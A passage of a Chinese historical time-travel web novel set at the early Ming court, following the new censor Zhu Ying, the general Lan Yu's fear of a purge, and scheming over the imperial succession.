见朱煐应承下来蒋瓛松了口气。 而一旁的张平已经彻底看傻眼了。 他瞪大了眼睛看着朱煐。 不是,老大,你面对的可是蒋瓛啊!锦衣卫的头头,臭名昭著的蒋指挥使! 你就这态度? 朱煐不咸不淡的应答让张平为之震撼,而在短暂的震撼之后,张平回过味来,顿时心中对朱煐的钦佩之情更甚,如滔滔江水连绵不绝! 不愧是老大! 不以物喜不以己悲,不畏强权,死尚且不怕,又怎么会怕区区锦衣卫的头头呢? 这就是老大与凡人之间的差距啊! 张平想到了在朝堂上时,朱煐以德报怨的行径。 这就不是一般人能做出来的! 一时间,张平心中对朱煐更加崇敬了.... 他想成为朱煐这样将生死置之度外,只认真理不认人的伟大的人,他尝试过,可他害怕,当听到说要夷三族的时候,他的心中无比后悔。事后他更害怕。 可眼前的老大不同。他这样的事情,一直在做,别说是夷三族,就连诛九族都不怕! 正是因为自己做不到,所以张平的心中对于朱煐更为崇敬! ..... 皇宫的东边。 就在宫门外不到五百米的距离,这里有一处占地面积颇大的院落。 这地方原本是前朝皇亲国戚的故居,老朱打下金陵之后自然也就成了老朱家的皇家私产。 这宅院常年没有人住,不过却有人日常养护打扫,每隔几年老朱也会让人修缮,所以哪怕常年没有住人,依旧崭新如初。 蒋瓛把朱煐带到这府宅之后就离开了,同时也带走了原本宅院里的下人。 这些下人都是宫里人,负责打理的是皇家私产,老朱将这宅院赐给了朱煐,自然这宅院也就不再是皇家私产,这些人自然要撤离。 宅院里只剩下了朱煐,还有一个死皮赖脸以参观宅院为由缠在朱煐身边的张平。 “老大,你这宅院真大啊,陛下对你当真恩宠!” 朱煐看了眼张平,只觉得无语。 “我说过很多次了,我并非有意救你,你也不用缠着我。说起来你朝堂上参我,我们该是敌人才对。” 张平闻言看向朱煐,一脸郑重:“老大,你不用解释了。” “我知道你是不想我将此事一直记在心上,但我张平就是这么个人,对你而言以德报怨只是顺手为之,可对我而言,你就是我张平三族的救命恩人!” “小弟参你之事日后莫要再提,实在羞愧,日后你就是我老大,我张平便认准了!赴汤蹈火再所不辞!” 朱煐:“.....” 你大爷的! 朱煐看着一脸郑重的张平,一时间也很是无语,转念一想,冲张平说道:“我日后必将被陛下斩于朝堂,自我读书那日起,我便没想苟活于世,不惜此身,无所畏惧。你要是跟我,你可有性命之忧!” “老大,你不怕死,我张平又岂是怕死的人?” “这条性命是老大你救的,能陪老大你死在朝堂上,也算是名流千古,妙极!” 张平拍手笑着说道。 朱煐:“.....” 敲你蛙! 笑你大爷! 朱煐无言以对。 人家上赶着要陪着自己死,这能有什么办法? 碰上个神经不正常的.... ..... 这头朱煐正恼被张平缠上。 另一边,蒋瓛将宅院交给了朱煐之后便赶忙回宫复命。 御书房里。 老朱一边哼着小曲,一边手持朱笔批阅着堆积如山的奏章。 这些奏章老朱看了几十年了,来来去去其实就是那么些事。 有了这么多年处理的经验,老朱处理起这些奏章起来那叫一个得心应手,笔走龙蛇,回复已经练成了肌肉记忆,只扫一眼就知道该如何批复。 这玩意儿就像是高考刷题一样,刷的多了,一眼看去基本答案就知道个八九不离十了。 高考刷题不过刷一两年,可老朱刷这些奏章可刷了一辈子。 熟能生巧再加上老朱的心情不错,批阅的速度那叫一个飞起.... “陛下。” 蒋瓛推开了御书房的房门。 老朱抬头看到蒋瓛笑着起身。 “如何?可安置好了?” “都安置好了,按照陛下您的吩咐将府宅给了殿下,又调回了府宅中的下人。” 老朱点了点头:“那就好,如今还不是向这孩子坦白身份的时机。” “对了,咱今天在朝会上表现如何?” 老朱看向蒋瓛。 蒋瓛当即脸上堆满了笑容,竖起了一根大拇指:“陛下,您今天在朝上的表现可太好了!虚怀若谷,从谏如流,简直就是明君的典范!” 老朱笑道:“哈哈哈哈,咱也是这么觉得。” “你可知咱今天在朝堂上为何不顺手杀了蓝玉?” 老朱猛不丁的来了一句。 原本还满脸笑容蒋瓛瞬间笑容僵硬在了脸上.... 伴君如伴虎,老朱这突如其来的一句让蒋瓛猝不及防。 不是,爷,这玩意儿咱敢回答吗? 您这不是要我命吗? 蒋瓛心里暗暗叫苦,面上却不敢流露出半点,只好低头沉默不语,这回也不是,不回也不是。 老朱也没有想着蒋瓛回答,而是笑着自顾自地说道:“咱孙说的没错,咱要是立允炆的话,蓝玉始终是个隐患,他的威名太盛,军中将士都服他,他要不死,允炆日后哪怕登基了,这屁股也是坐不稳的。” “允熥就更是了,以他的性子哪怕是咱有意调教,终究还是软了的,再加上他和蓝玉的关系,他是镇不住蓝玉的。” “要是咱想立允炆或是允熥,那就必须先杀了蓝玉,他活着一天终究是个祸事。” 蒋瓛听着顿时冷汗直冒,背后已然被汗水浸透。 老朱一字一句说的很平静,从他的话语中似乎都听不出他的情绪波动,就好像杀蓝玉只是一件寻常的事情。 蒋瓛低着头,不敢吭声,那当真是一点也不敢吭声.... 老朱自顾自地继续道:“咱之所以没有杀蓝玉,是咱有了个新的想法...” 老朱抬起了头看向蒋瓛。 “蒋瓛,你说咱要是想立咱大孙,你觉得怎么样?” 第18章 绝望的蓝玉 “????” 轰! 老朱一句话,彻底炸响了蒋瓛的脑海。 原本低着头的蒋瓛猛地抬起了头,看向老朱的眼神中充满了震惊与不可思议! 这可是通天的消息! 蒋瓛整个人都惊呆了! 他敢肯定,满朝文武,只有自己一人知晓这个秘密!可此时的他心里没有半点的喜悦,反而充满了惊慌。 一个谁都不知道的秘密,却被自己知道了....这他娘的叫什么事儿啊? 这通天的消息,是咱这小人物能听的吗? 蒋瓛张了张嘴,却不知道该说什么。 老朱却看着蒋瓛继续幽幽道:“咱原本想着要是立允炆或者允熥的话,他们该有自己的亲信,咱想让你带人去杀了蓝玉,再带走你。等允炆或者允熥上位,他们再找个人当锦衣卫的头头。” “咱原本是这么想的。” 老朱的话平静且毫无波澜。 可这话落在蒋瓛的耳朵里却是如同黄吕大钟,蒋瓛停了之后整个人都麻了! 这还真是陛下能干出来的事儿! 蒋瓛敏锐地抓到了老朱话语中的关键,当即开口。 都已经到了如今这局面,这要是再不开口,那就真开不了口了! “陛下,您原本是这般想,那现在...?” 老朱饶有深意地看了蒋瓛一眼:“现在咱改想法了。” “咱这有条活路给你,你可想要?” 老朱眯着眼睛看着蒋瓛,看得蒋瓛整个人不由发毛.... 蒋瓛苦笑:“臣的命是陛下的,君要臣死臣不得不死,不过陛下愿意给条活路的话,臣自然选活路。” “哈哈哈哈,行了,咱也就是随口一说,你也就随口一听。”老朱大笑。 可蒋瓛此刻却半点也笑不出来.... “还请陛下指点。” 蒋瓛深深躬身,心里惴惴不安。事关性命的大事,哪怕是见惯了生死的锦衣卫都指挥使,也不能做到丝毫不紧张。 “雄英这孩子的身份不能暴露,这一来,咱觉着在暗中更利于培养,这二来...咱得在咱孙心里留下足够的好印象,把形象给立一立,要不咱怕这孩子不认咱...他这脾气看起来比咱还倔,咱拿不准....” “咱孙的身份只有你和咱知晓,你想活命,就让咱孙认你,他认你,咱就把你留给他,日后也好有个信得过的人在咱孙身边。他要不认你,咱哪天要死了,提前带你下去。” 老朱眼睛就这么平静地看着蒋瓛。 说到生死,他的脸上却没有半分的动容..... 事实上老朱早已将生死置之度外,他并不怕死,甚至他此前早有死意,朱标去世之后,对老朱而言,当真是生不如死。 只是他放不下大明,只好挺着。 听着老朱的话,蒋瓛内心之中万分庆幸! 没想到自己居然这般侥幸逃得一命!要不然,依照陛下的脾气,自己还真是必死无疑! 蒋瓛的心中对于朱煐不由充满了感激。 “若非殿下,这条命看来是必然交代了....如今反倒受了陛下重用....” 蒋瓛喃喃自语。 老朱既然选择了和自己摊牌,那也就是说,危险基本接触,只要自己能够多亲近亲近朱煐,得到殿下的认可,日后....谈不上说是辅政,但绝对是两朝元老,双帝亲信! ...... 这头老朱恩威并施把蒋瓛唬的一愣一愣的。 另一边。 自退朝之后,蓝玉便是满面愁容。 准确的说,整个淮西一脉都是满面愁容,但蓝玉最甚。 自然,因为只有他是必死的。 根据朝中朱煐所说,蓝玉扪心自问,这他娘的说的是真有道理!倘若自己是陛下,那自己也必须杀!一个大明军神,军中威望绝顶,正值壮年的国公,这留给后人,后人的能力还一般,这简直就是个泼天的隐患! 蓝玉一路上都是苦着个脸。 一路失魂落魄地回到了府宅。 刚回凉国公府,他的夫人叶氏和两个儿子就围了上来。 叶氏是蓝玉的正妻,蓝府中的大小诸事都是由她这个正室来管理的。 蓝玉的两个儿子都是叶氏所生,大儿子蓝春,次子蓝夏,还有个小儿子蓝斐在学堂,刚到打酱油的年纪。 “老爷,怎么样了?” 叶氏一脸关切。 蓝玉上朝前就已经将昨日朱煐所言的利害关系给叶氏念叨了好几遍。 叶氏和蓝春、蓝夏都明白,按朱煐昨日朝堂所言,只要朱允炆成了皇储,那整个凉国公府都要跟着遭殃,被老朱提前清算为朱允炆铺路。 可以说,今日上朝,老朱立不立朱允炆关系到了整个蓝府的身家性命! 蓝玉脸色黑的吓人,一言不发,叶氏和蓝玉的两个儿子看着这表情的蓝玉,心里头不由的一突突。 “老爷,这....允炆殿下成皇储了?” 叶氏迟疑了一下,小心翼翼地问。 蓝玉摇了摇头:“那倒没有。” “呼~” 叶氏长长地松了一口气,心有余悸地拍了拍胸口。 “那就好,只要是允熥殿下成皇储,那我们便无忧了。” 蓝玉看向叶氏,面色有些难看。 “???” 叶氏察觉到了蓝玉的神情。 一旁的蓝春和蓝夏都看到了蓝玉此刻的脸色,不由心里头一突突。 “父亲,可是这其中出了什么变故?” 蓝玉脸色更难看了,在母子三人的注视下,凝重地点了点头。而后蓝玉将朱煐今天在朝堂上所说的话一五一十地给母子三人讲了一遍。 叶氏、蓝春、蓝夏、蓝玉四人四双眼睛相互看着,眉宇神情间充满了苦涩。 这谁能想到? 昨日朱煐说的,已经让凉国公府上下惶恐,朱允炆一旦上位,那也就意味着陛下要清洗凉国公府。毕竟蓝玉和朱允熥的关系如此紧密,日后倘若朱允炆登基,老朱去世,蓝玉大手一挥发动兵变,那朱允炆屁股下的龙椅就得换主人了。 得悉这个消息之后,整个凉国公府上下无比惶恐。 蓝玉亲自入宫劝说懦弱的朱允熥今日上朝,势必要与朱允炆争上一争,既是为了皇储之位,也是为了凉国公府的身价性命。 可他娘的,万万没想到哇!按照今日朱煐朝上所说的话,陛下立允熥殿下为皇储,允熥殿下一旦上位,那了蓝玉就有了当曹操的资本,外戚乱政啊! 以允熥殿下这懦弱的性子,陛下不除掉凉国公府上下,他如何放心撒手离去? 换句话说....眼下的蓝玉,无论是朱允炆成了皇储还是朱允熥成了皇储,他都必然会被清算了..... “夫人,老大,老二,事情就是这样了。” 蓝玉两手一摊,很是无奈。 “我蓝玉如今已入死局,无路可走。你们今日便收拾收拾细软,离开这应天府吧。希望陛下他宽宏大量,能放你们离去。” 说着,蓝玉看向了自己的大儿子蓝春:“春儿。” “爹,我在呢。” 蓝春此刻眼中满是热泪,蓝玉的一番生死离别的样子让蓝春心里酸楚难言。 “若是陛下放你一条生路,你要照顾好你娘和你弟弟,以后你就是我蓝家的顶梁柱了。爹不在了,你得撑起来、” “还有,不要想着报仇,也不要心怀怨念,这是你爹的命。路上我想过无数次,倘若我身处陛下的位置的话,想必我也会做出和陛下一样的决定。” 说着蓝玉叹了口气,头微微抬起,四十五度角望向湛蓝的天空:“唉....可惜啊,早知如此,我便不如死在战场上。也不会如今日这般憋屈,也省的陛下忌惮了。” 蓝玉心中此刻只剩下了绝望和无奈,心如死灰。 他现在所能祈祷的也就是老朱能够宽宏大量,看在自己为大明鞠躬尽瘁立下这么多功劳的份上能放蓝家一条血脉.... 蓝春和叶氏都是两眼含泪,听着蓝玉好似诀别的话,两人心里都是一阵酸楚.... “行了,你们都收拾细软去吧,择日不如撞日,早些离开,以免夜长梦多,这应天府凉国公府有我蓝玉一人便够了。” 蓝玉蔚然一叹。 一时间,气氛一片凝滞,蓝玉、叶氏、蓝春齐齐不语。 蓝玉挥了挥手,叶氏拉着蓝春准备去收拾细软,然而就在这时.... “爹。” 在一旁一直没有说话的蓝夏忽然开了口。 蓝玉、叶氏和蓝家老大蓝春都不由看向了蓝夏。 “爹,我有个想法,或许能试试...” 蓝夏一开口,顿时让老爹蓝玉、老娘叶氏和大哥蓝春都愣住了.... 三人一脸懵逼地看向蓝夏。 “什么法子?” 倘若是平时,蓝玉指定听都不听。他压根就不是一个能听得进别人建议的人。 可这会儿...今时不同往日.... “爹。这都说解铃还须系铃人,既然这位朱煐朱大人昨日和今日连续在朝堂上发表这等惊天言论,足可见其才智,绝非寻常之辈,既然是他说的我们蓝府上下必死无疑,那为什么我们不去问问,看能不能问出个生路?” 蓝夏说着看向蓝玉。 而蓝玉闻听这话,期初还是不以为意,可当蓝夏说完之后,蓝玉却倏然间眼前一亮,身上原本的颓然和绝望瞬间一扫而空,他的眼前大亮! 叶氏和蓝春也是眼前一亮。 “老二,你这法子倒是好哇!父亲您看?” 蓝春看向蓝玉。 蓝玉‘啪’的一拍蓝夏的肩膀:“好小子!” “这倒是个好主意,那这样,你们先去收拾收拾细软,我让人请朱煐入府....哦不,我亲自去拜访,这小子虽然说话难听,可确实是有些才华,若非他点破,这些利害关系我怕是死也不知!” ..... 蓝玉先是备好了厚礼,装进了三个大箱子里。 这备礼也是有讲究的,既然是求救命的法子,那这备礼就不能少,得厚礼。可这厚礼也不能太厚,否则落人话柄,蓝玉倒是无所谓,这些个风言风语影响不到他半点,可他不得不考虑朱煐的想法..... 三个大箱子的礼物,正正好。 而理由蓝玉也想了个好理由——恭贺新同僚入朝,恭贺朱煐乔迁新居。 这两个理由倒是合适得不能再合适了.... 朱煐的住处很好打听,以蓝玉的本事很快就知晓了。 当他得知朱煐所住的宅院居然原先是一直在老朱手里放着的,靠近皇宫的一处内库私宅的时候,不由又是一阵心惊。 “陛下对这小子,比想象中的还要更为看重啊!” “难不成陛下是想将这小子培养一下留给新君?” 蓝玉心中思衬着,越想越是觉得有可能。 首先就是朱煐的年纪,他的年纪小,正好适合给新君使用。其次就是朱煐的能力,刚刚入朝就能对时局的了解深刻到这般程度,更是连续两日提出惊人之语,可见其才华。 ..... 而此时的朱煐,尚不知蓝玉已经备下厚礼正在来府中的路上.... 张平此时正在鞍前马后,骚扰朱煐。 “老大,你当时在朝中的风姿简直就是吾辈楷模啊!” “我怎么就脑子抽抽,忽然想参你一本呢?” “你可知陛下说要夷我三族的时候,我这整个人都已经麻了,我对不起父母,对不起族人,我都绝望了,没想到老大你居然大人不记小人过,生生从陛下手里把我这条小命给救了下来!” “救命之恩无以为报,只能鞍前马后当牛做马了,日后老大你的事情就是我的事情。我就跟着老大你混了!” 朱煐扶着额头。听着张平在耳边不断叨叨叨地输出语言,只觉着脑子有些发胀.... “别叫我老大,以后你也不用跟我混,我说了,早朝的时候我不是有意为之,你不用想太多,不用在意。” “这哪儿成的老大!我张平可是知恩图报的人,这对于你而言是顺手为之,可对我而言,这是一条性命啊!” 张平的语言激动且真挚。 他一脸郑重,清澈的眼神盯着朱煐.... 朱煐:“....” 第19章 为官一任,何惜此身? 他本来是想着把这碍事的家伙给赶走的,可张平的这态度,伸手不打笑脸人,朱煐总归还是太要脸了.... 就在两人说话间的功夫,蓝玉也带着凉国公府的小厮亲自推着三箱礼品来到了朱煐的府宅.... “朱大人!朱大人!” 蓝玉人还没到,洪亮的声音就已经传入了朱煐的耳中,让他不由一愣... 愣神的功夫,蓝玉已经带着几个手下,推着三箱子的礼品来到了朱煐的面前。 由于府中的下人都被遣散,蓝玉直接推门就进来了,而一进来没走两步就听到了张平喋喋不休的声音,顺着声音蓝玉就找来了.... “凉国公?” 朱煐和张平看到蓝玉来访都是一愣。 朱煐见此时的蓝玉一脸的笑容,身后还跟着几个手下,手下还推着装着三个大箱子的推车。 “凉国公,你这是?” 朱煐的脸上满是疑惑。 要说穿越之后自己得罪谁得罪的最狠,蓝玉绝对算一个。 昨天刚第一次殿试就给蓝玉判了第一次死刑,而今天又判了一次,不过这也没啥好说的,死道友不死贫道,只要能让自己功德圆满,管他之后洪水滔天? 更何况按照原本历史走向,本身蓝玉案就会爆发,蓝玉的命运哪怕没有自己开口也已经成了既定事实。 朱煐的心里没有半点的负罪感。 不过看着眼下这一脸笑容的蓝玉,倒是不像来找麻烦的.... “朱大人有礼了。” 蓝玉冲着朱煐躬身行了一礼。 朱煐和张平都是一愣。 张平脸色唰的一下涨红,旋即看向朱煐,眼中尽是崇拜。 好家伙! 不愧是老大! 这可是凉国公啊! 堂堂大明国公,对老大这等恭敬,国公行礼,这个国公还是蓝玉!这简直是小母牛倒立,牛逼冲天了! 朱煐更疑惑了。 而就在朱煐疑惑之际,蓝玉开口笑道:“朱大人,你这刚入朝中,日后我们也算同僚,如今乔迁新居,可喜可贺啊。这小小薄礼不成敬意,还望笑纳。” 蓝玉说着给下人使了个眼色。 几个下人赶忙将三个大箱子从推车上给卸了下来.... 朱煐没有说话,只是看着蓝玉表演。 这要是换个寻常人,或许也就信了蓝玉说的话了,可朱煐来自后世,这蓝玉啥性格,咱能不知道? 自己得罪这丫的得罪大发了,这会儿还送礼? 这言行举止间充满了古怪。 见朱煐不说话,蓝玉想了想,旋即一咬牙看向张平。 “张大人,我想与朱大人细谈,你看?” 蓝玉的眼睛盯着张平,对张平的态度蓝玉就没有这么客气了,眼神里透露着一抹藏不住的威势。 张平不由自主打了个哆嗦,赶忙冲朱煐告退。 “老大,我去逛逛这园子,你们聊,你们聊。” 张平擦了擦额间冷汗,赶忙离去。 而在张平离去后,蓝玉又打发走了小厮,小院里只剩下了朱煐和蓝玉两人。 朱煐也是好奇蓝玉究竟要做什么,只是看着蓝玉。 就在朱煐思绪间.... “噗通”一声。 却见蓝玉径直跪倒在了朱煐面前。 “????” 朱煐只觉着‘嗡’的一下,大脑顿时宕机,懵了.... “???” 不是,这是什么操作? 还没等他开口,蓝玉已经开口。 “还请朱大人救我蓝家!” “先前于朝堂上朱大人所言蓝某回家之后细细思量,句句在理,如今我蓝家已入死局,能救我蓝家的,只有大人了!” 蓝玉这会儿也是孤注一掷,什么面子颜面都不要了。 他倒是不怕死,可他深知,以老朱的性子,既然要对自己动手,那必然会对整个蓝家以及和自己有关的所有凉国公府所属势力动手。覆巢之下焉有完卵? 蓝玉说完的同时朱煐也顿时恍然。 原来如此! 难怪蓝玉这一反常态这样的态度来找自己,又送礼又客气的,原来是打的这个主意? 还真别说,这些古人老祖宗一个个都不是省油的灯,看问题真准。 眼下要说谁能救蓝家的话,还真就只有自己这个深知历史的人了,不过....为啥救蓝玉? 虽然有机会能救下蓝家,可朱煐懒得救,他并不准备多管闲事。 咱能功德圆满就得了,至于其他的,与咱无关啊。 “凉国公,你可真是高看我了,朝中我也只是分析局势,要说救蓝家,求我不如求陛下,你说呢?” 朱煐话说完,蓝玉的脸上顿时充满了绝望。 找老朱? 找老朱有用的话蓝玉早就去找了。 “当真...当真就没有办法了吗?” 蓝玉一个堂堂七尺男儿,大明军神,这会儿却是一脸无助地看着朱煐。 “能让陛下杀我一人也好啊,我若死了,可否保下蓝家?” 蓝玉看着朱煐,一脸严肃郑重。 朱煐微微蹙眉。 这是个好问题。 历史上老朱对凉国公府的大清算是针对整个蓝家的,抄家灭族不说还清洗了整个和蓝玉有关的势力集团。 老朱做事向来如此,不会留有后患。 看着蓝玉,朱煐摇了摇头:“想必凉国公也知晓陛下的脾气,既然要清算,那便是大清算,否则陛下心中不安。” 朱煐实话实说。 蓝玉顿时泄了气,脸上充满了绝望,整个人瞬间颓然。 ..... 朱煐送走了蓝玉,虽然蓝玉求上了门,可朱煐也没有出手给想法子。 这会儿他自己还犯着愁呢。 老朱的行事风格和历史记载中的全然不同,这让朱煐感到非常棘手,背地里把满清记录明史的家伙的祖宗十八代都给骂了个遍。 自己的事情都没着落,朱煐哪里有心情去搭理蓝玉的事儿? 蓝玉失魂落魄地离开了朱煐府宅。 不过三箱礼品他没有带走。 这会儿的他估计也没有心情再想着这三箱礼品了。 不多时,闲逛园子的张平知道蓝玉离开,又缠上了朱煐.... “老大,你可真有本事!连凉国公都这般礼待!” “定是凉国公他也佩服老大你的气节,由此结交。” 张平带着羡慕和钦佩的眼神看向朱煐。 这凉国公蓝玉是何等人物? 在大明,当真可以说是数人之下,万万人之上了! 说是权倾朝野也不为过! 这样的人物,这样的姿态,来拜访老大,啧啧啧,不愧是你啊老大! 张平的心中,朱煐的形象又高大了.... 朱煐看了张平一眼,翻了个白眼:“凉国公是来找我问策的。他知晓陛下不会放过他蓝家,想问我计策。” “老大你给了?” 张平豁然一惊:“老大,这皇家之事,咱朝堂上谏言没事,可这私下可切莫参与啊。否则引起了陛下忌惮可就不好了。老大你是监察御史,在朝堂上有闻风奏事之权,是陛下耳目,可做直臣孤臣,可若是私下与凉国公交往了,引起了陛下疑心,那可就大事不妙了!” 张平神色凝重,脸色严肃地替朱煐分析着.... 朱煐闻言不由一愣。 “等等,你方才说什么?” 朱煐猛地盯着张平,眼眸一亮。 张平被朱煐这突然的注视给吓了一跳,不由一愣。 “老大,我这方才说....最好还是莫要私下插手这皇家之事,尤其是这凉国公府之事,否则引起陛下的疑心便不好了。” 张平显然是由衷之言,这等言论要是传扬出去,一个擅议皇帝的罪名是逃不掉的,但他依旧连连劝阻。 而张平的话再度落入朱煐的耳中后,朱煐的眼神却是越来越亮.... “有理!有理啊!” “倘若我给了凉国公计策,陛下当我是直臣,却发现我暗中又与凉国公暗通曲款,倒时必然盛怒...” 朱煐喃喃自语,张平连连点头:“不错老大,我想说的就是这个。” “好!”朱煐拍手叫了一声好,当即取来了笔墨,笔走龙蛇顷刻间写好了一封信件.... 张平看着朱煐写信,初时还不明所以,可随着朱煐写出内容,张平却是脸色骤变。 朱煐写完信冲张平道:“你在府中待着,我出去一趟将这信送给凉国公。” “不是老大,你这般,陛下那头....” 朱煐脸色一肃,一脸正色道:“志远,我等为何为官?” 不等张平回答,朱煐便继续道:“为官者,当心怀天下,心存江山社稷,皇储岂容儿戏?凉国公若是遭到了陛下的清洗,便是断了大明一臂!当今天下,有帅才者,包括陛下在内不足一掌之数!而如今凉国公正值壮年,倘若他健在,哪怕陛下殡天,也可再保天下二十年安定!” “他若一死,皇储哪怕登基,手下可还有帅才可用?” “皇储之争是皇储之争,可皇储再大,大不过天下万民,大不过我大明的四千万百姓!” “为官一任,何以惜身?” “志远你且在府中待着,此事太大,你别参与,我一人足以。” “大明虽强,却也经不起折腾。若是一定有人要死的话,就让我去替凉国公吧。死一口舌之臣总比死一个大明军神来的划算。” 朱煐慷慨陈词,一脸决绝,说完拿着信就离府而去。 院子里,张平已经被朱煐的一番话给说懵了,整个人呆愣愣地就这么站在原地,久久无法回神。 此刻的他,心神俱震! 直到朱煐离开了他的视线之后张平才猛地回过神来,看向朱煐离去的方向,顿时心中肃然起敬! 老大不愧是老大! 果然还是陛下慧眼如炬,一眼就看出老大是我大明肱股之臣,无谓生死,只为大义! “父亲给我取字志远,让我日后定要志存高远,初入朝堂的我尚有迷茫,如今见老大,如蚍蜉见青天,为官一任,何惜此身?” 张平喃喃自语,他一边念叨着眼睛里的光芒却是越来越亮。 “老大,等等我!我陪你去!” 回过神来的张平朝着朱煐离去的方向奔去..... ..... 另一边。 东宫内。 朱允熥一回到东宫就回到了自己的寝宫关上房门躲进了被子里,他不想听也不想看。 在朝堂上的时候他就害怕的紧,如今回东宫就更加了。这东宫可是吕氏和朱允炆的地盘,这里的宫女太监们都是听吕氏的,根本没有他的话语权。 不过让他没有想到的却是直到他躲在被子里半天睡着了,也没有任何事情发生,更没有人找他。 与此同时。 东宫的另一处殿中。 朱允炆刚退朝就火急火燎地回到了东宫找到了母亲吕氏。 黄子澄是朝廷官员,不是宫内的人,是以入宫就要登记在册,昨日已经入宫,今日再入宫就显得有些异常了,频繁入宫引人口舌,更何况还是在这争皇储的风口浪尖上,是以这一次殿中只有朱允炆和吕氏母子二人。 朱允炆将朝堂上发生的事情一五一十地讲给了吕氏,复述了一遍,包括老朱的反应,朱煐的话,百官的反应等。 吕氏听着眉头深锁,她在揣测。 能够掌管东宫,吕氏又岂会简单?她静静地听朱允炆讲完,而后抬头看向朱允炆。 “此事你怎么看?” 朱允炆一愣。 旋即他就明白这是母亲在考校自己,皱眉想了想开口道:“儿臣觉着,原本皇爷爷应该是想立孩儿的,可眼下,好像又有立朱允熥的意思。若非朱允熥的性子太弱,怕是有凉国公相助,孩儿反倒争抢不过....” “不过今日朝堂上朱允熥丢尽了脸面,这皇储之位皇爷爷应该不会再考虑他才是。只是....孩儿心中还是觉着忐忑,总归有些不安....” 吕氏看了儿子一眼,点了点头欣慰道:“你倒是看得清楚。” “只是有些不自信了。” “既然时局已经看清,那又何必担心?” “今日朝堂上以朱允熥这小子的表现,陛下是万万不会将这皇储之位交给他的。要是陛下再年轻个五岁十岁尚且不好说,可如今陛下的年龄,他已经没有那么多的精力去重新培养朱允熥了。” “当年常氏去世,你父亲又常年忙于政务少管东宫诸事,于是这些差事就落到了你娘我的手里。” “这些年下来,把朱允熥这小子培养成这样,你娘我也是废了不少功夫。” “允炆啊。娘的苦心你要明白啊。” “在这皇家,皇储之争便是生死之争,可千万不能心慈手软!” 第20章 很棒,美滋滋 吕氏看着自己的儿子小声地说着,语气平静得可怕。 “娘亲放心,这点孩儿明白。孩儿只是不明白既然朱允熥已经不可能当皇储了,那为何皇爷爷还不对蓝玉这厮下手?为何还不将这皇储之位传给孩儿?这其中难道还有什么孩儿没有想到的变数?” 朱允炆锁着眉头,想不明白。 吕氏闻言却是一笑:“允炆啊。你还是太心急了些。” “这性子还得再磨磨。” 吕氏说着踱了两步,又看向朱允炆,眯着眼睛说道:“你皇爷爷这是在锻炼你!” “锻炼我?” 朱允炆一脸的困惑不解。 吕氏点点了点头:“其实从一点上便不难看出。” “陛下要立皇储,无论是立你还是立朱允熥,按照昨日与今日那狂生朱煐在朝堂上所言,以陛下的脾气,一定会先拿蓝玉开刀,不说杀了他,至少得削去兵权才是。可你看陛下却并未如此。这是为何?” 不等朱允炆回答,吕氏继续道:“陛下想留着蓝玉,至少暂时留着。至于用处...依为娘的想法,或许是想让你与朱允熥这小子以及淮西一脉斗上一斗!” “留给你皇爷爷他的时间不多了,他要用最快的速度让你成长起来!” “而皇储之争就是眼下锻炼你最快的方式!” “原来如此!”朱允炆眼前一亮,可忽然想到什么又看向吕氏:“可是娘,那我要是没有斗赢呢?要是允熥赢了呢?” 吕氏摇了摇头:“他赢不了。” 朱允炆皱眉:“既然是争斗,便有胜负,更何况允熥他还有凉国公相助。谁又敢说百分之百能赢?” “放心吧,娘给你保证。你一定能赢!” “或许你皇爷爷也想过允熥忽然改了性子,与你相互竞争,不过娘还是那句话,他赢不了!” 吕氏十分笃定道。 听着吕氏如此笃定的语气,朱允炆忽的好像想到了什么....整个人顿时一怔..... “娘?” 朱允炆轻轻地呼唤了一声吕氏,语气隐约有些颤抖.... 吕氏走到朱允炆的近前,抬起手轻轻地摸了摸朱允炆的发丝.... “允炆,娘和你说了,皇储之争,不是你死就是我亡!万不可....心慈手软啊......” “有些事你不能做,真要是到了那一步,娘让人去做。” 朱允炆如遭雷击,整个人就这么愣愣地站在原地,吕氏的话不断在他的耳边萦绕....他瞪大着眼睛,瞳孔中满是惊诧与惶恐..... “走吧,去御膳房。娘让人给炖了一盅鸡汤,你亲自端给你皇爷爷。陛下在御书房操劳国事,你这当孙子的,也该懂事一些。” 听到吕氏的话朱允炆才回过神来。 “是!” 朱允炆应诺而去.... ...... 话分两头。 凉国公府。 蓝玉失魂落魄地回到了府中。 府中,蓝玉的老婆叶氏、大儿子蓝春、二儿子蓝夏坐立难安,在房间里来回踱步,等着蓝玉回来。 房间门是关着的,事关重大,他们只敢自己在房间里忐忑。 随着昨日和今日朝堂上所发生的事情。这世上没有不透风的墙,消息早就已经传遍了整个凉国公府,原本府中就已经是人心惶惶,这要是身为主家再慌张的话,那整个凉国公府真就彻底完了! “父亲?” “老爷?” 刚听说蓝玉回到国公府,叶氏、蓝春、蓝夏就找到了蓝玉。 而当看到蓝玉的第一眼,无论是叶氏、蓝春还是蓝夏,三人心里都是咯噔一下。 蓝玉此时的状态明眼人一眼就能看出来相当低迷,再联系之前出门时蓝玉的目的,三人的心情瞬间跌落到了谷底.... 蓝玉抬头看了叶氏和两个儿子一眼,摇了摇头,有气无力地挥了挥手:“收拾细软,遣散家丁吧。想来也是,如今给我蓝玉出谋划策便是动了陛下的逆鳞,又有谁敢?” “罢了。” 蓝玉苦笑着摇了摇头:“我这处境想来哪怕是这朱煐有些才学,也难想出什么破局之策,这就是命吧。你们快些离开,或许陛下还能念着些许旧情放你们离去,要是陛下让人半路拦你们,那....” 蓝玉话没有接着说下去,但无论是叶氏还是蓝春和蓝夏,都明白了蓝玉想要说的意思。 要是路上没有什么阻碍,那就说明陛下念旧情给蓝家留下了一条血脉,可要是半路遇到了阻拦,那就说明整个凉国公府,跑不掉一人! 叶氏看向自己的两个儿子,蓝玉看向自己的妻子和儿子,四人视线相汇,都看出了对方眼中的无奈和绝望。 有时候死不是最可怕的,最可怕的是你明知道自己要死,而你却毫无办法,只能无可奈何地等待死亡! 这个过程才是让人最为绝望的! ...... 一时间,整个房间陷入了一片死寂。 四人面面相觑,相视无言,久久无语。 整个房间一片寂静,落针可闻.... 良久,叶氏才站起了身。 “老爷,我去遣散下人。” 蓝玉点了点头看向蓝春:“你去收拾些细软吧,你是老大,日后要照顾好你娘和你弟弟。” 蓝春郑重地点了点头。 叶氏离去,遣散下人去了。 蓝春离开,收拾细软去了。 房间里只剩下了蓝玉和蓝夏,本来蓝夏也准备跟着大哥一起去收拾,却被蓝玉给拦了下来。 直到蓝春走了之后,在蓝夏疑惑的目光中,蓝玉才开口。 